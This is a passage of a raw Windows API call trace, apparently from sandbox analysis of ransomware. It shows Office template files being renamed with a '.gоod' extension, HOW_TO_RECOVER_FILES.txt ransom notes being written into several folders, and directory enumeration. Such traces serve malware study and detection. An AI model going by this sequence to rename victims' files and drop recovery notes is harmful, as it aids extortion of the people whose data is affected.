lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x3ad2b38*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0266.168] CloseHandle (hObject=0x808) returned 1 [0266.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0266.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE.gоod", lpFilePart=0x0) returned 0x5d [0266.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0266.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9add6d5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x37b60)) returned 1 [0266.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0266.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one.gоod")) returned 1 [0266.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cec250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0266.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec770) returned 1 [0266.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0266.170] GetFileType (hFile=0x808) returned 0x1 [0266.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec6e0) returned 1 [0266.170] GetFileType (hFile=0x808) returned 0x1 [0266.171] WriteFile (in: hFile=0x808, lpBuffer=0x3b526e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cec838, lpOverlapped=0x0 | out: lpBuffer=0x3b526e8*, lpNumberOfBytesWritten=0x20cec838*=0x5d0, lpOverlapped=0x0) returned 1 [0266.171] CloseHandle (hObject=0x808) returned 1 [0266.171] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cecc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0266.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced1a0) returned 1 [0266.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0266.172] GetFileType (hFile=0x808) returned 0x1 [0266.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced110) returned 1 [0266.172] GetFileType (hFile=0x808) returned 0x1 [0266.173] WriteFile (in: hFile=0x808, lpBuffer=0x3b55fa0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20ced268, lpOverlapped=0x0 | out: lpBuffer=0x3b55fa0*, lpNumberOfBytesWritten=0x20ced268*=0x5d0, lpOverlapped=0x0) returned 1 [0266.173] CloseHandle (hObject=0x808) returned 1 [0266.173] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0266.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0266.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0266.174] GetFileType (hFile=0x808) returned 0x1 [0266.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0266.174] GetFileType (hFile=0x808) returned 0x1 [0266.175] WriteFile (in: hFile=0x808, lpBuffer=0x3b59938*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 | out: lpBuffer=0x3b59938*, lpNumberOfBytesWritten=0x20cedc98*=0x5d0, lpOverlapped=0x0) returned 1 [0266.175] CloseHandle (hObject=0x808) returned 1 [0266.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0266.176] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles", lpFilePart=0x0) returned 0x40 [0266.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f51, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicelegant.dotx", cAlternateFileName="BASICE~1.DOT")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicsimple.dotx", cAlternateFileName="BASICS~2.DOT")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f15, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicstylish.dotx", cAlternateFileName="BASICS~1.DOT")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwcapitalized.dotx", cAlternateFileName="BWCAPI~1.DOT")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwclassic.dotx", cAlternateFileName="BWCLAS~1.DOT")) returned 1 [0266.178] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3436, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwnumbered.dotx", cAlternateFileName="BWNUMB~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="casual.dotx", cAlternateFileName="CASUAL~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f84, dwReserved0=0x0, dwReserved1=0x0, cFileName="centered.dotx", cAlternateFileName="CENTER~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="CLASSI~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="DEFAUL~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="linesdistinctive.dotx", cAlternateFileName="LINESD~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f49, dwReserved0=0x0, dwReserved1=0x0, cFileName="linessimple.dotx", cAlternateFileName="LINESS~1.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="linesstylish.dotx", cAlternateFileName="LINESS~2.DOT")) returned 1 [0266.179] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="minimalist.dotx", cAlternateFileName="MINIMA~1.DOT")) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f32, dwReserved0=0x0, dwReserved1=0x0, cFileName="shaded.dotx", cAlternateFileName="SHADED~1.DOT")) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="word2013.dotx", cAlternateFileName="WORD20~1.DOT")) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="word2013bw.dotx", cAlternateFileName="WORD20~2.DOT")) returned 1 [0266.180] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0266.180] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0266.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedba0) returned 1 [0266.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb60) returned 1 [0266.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedc60) returned 1 [0266.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles", nBufferLength=0x105, lpBuffer=0x20ced700, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles", lpFilePart=0x0) returned 0x40 [0266.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x20ced980 | out: lpFindFileData=0x20ced980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0266.180] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f51, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicelegant.dotx", cAlternateFileName="BASICE~1.DOT")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicsimple.dotx", cAlternateFileName="BASICS~2.DOT")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f15, dwReserved0=0x0, dwReserved1=0x0, cFileName="basicstylish.dotx", cAlternateFileName="BASICS~1.DOT")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwcapitalized.dotx", cAlternateFileName="BWCAPI~1.DOT")) returned 1 [0266.181] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwclassic.dotx", cAlternateFileName="BWCLAS~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3436, dwReserved0=0x0, dwReserved1=0x0, cFileName="bwnumbered.dotx", cAlternateFileName="BWNUMB~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="casual.dotx", cAlternateFileName="CASUAL~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f84, dwReserved0=0x0, dwReserved1=0x0, cFileName="centered.dotx", cAlternateFileName="CENTER~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="CLASSI~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="DEFAUL~1.DOT")) returned 1 [0266.182] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="linesdistinctive.dotx", cAlternateFileName="LINESD~1.DOT")) returned 1 [0266.183] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x20ced940 | out: lpFindFileData=0x20ced940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 